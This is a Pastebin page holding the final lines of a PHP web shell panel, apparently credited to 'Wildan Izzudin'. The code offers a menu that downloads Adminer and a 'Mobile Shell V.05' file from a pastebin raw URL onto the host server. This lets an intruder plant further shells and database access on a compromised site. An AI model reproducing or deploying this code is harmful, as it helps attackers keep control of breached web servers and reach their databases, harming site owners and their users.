  1127.     if(op('adminer.php', 'https://www.adminer.org/static/download/4.3.1/adminer-4.3.1.php')) {
  1128.         success('Ok !!');
  1129.         mtr('?'.x5.$dir);
  1130. } else {
  1131.         error('Failed !!');
  1132.     }
  1133. }
  1134. if($_COEG['op']=="2") {
  1135.     if(op('v5.php', 'https://pastebin.com/raw/bPkG4jvE')) {
  1136.         success('Done !!');
  1137.         mtr('?'.x5.$dir);
  1138. } else {
  1139.         error('Failed !!');
  1140.     }
  1141. }
  1142. echo('<div class="tools-content top" style="padding:5px">');
  1143. echo('<table>
  1144. <form action="?'.x5.$dir.'" method="POST"><td align="center" style="width:10%"><i class="fa fa-bookmark-o"></span></td>
  1145. <td style="width:70%"><select name="op" id="c">');
  1146. echo('<option value=""> -- Choose File --</option>');
  1147. echo('<option value="1">MySQL [ adminer.php ]</option>');
  1148. echo('<option value="2">Mobile Shell V.05 [ v5.php ]</option>');
  1149. echo('</select></td>
  1150. <td style="width:20%;text-align:right"><button type="submit" class="btn-exe" onclick="create();return false;"><i class="fa fa-arrow-circle-right"></i></button></form></td></table>
  1151. </div>');
  1152. echo('</div></div></div><div class="top"><div class="footer">CODED BY WILDAN IZZUDIN</div></div>');
  1153. ?>
Add Comment
Please, Sign In to add comment
Public Pastes
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy.  OK, I Understand
Not a member of Pastebin yet?
Sign Up, it unlocks many cool features!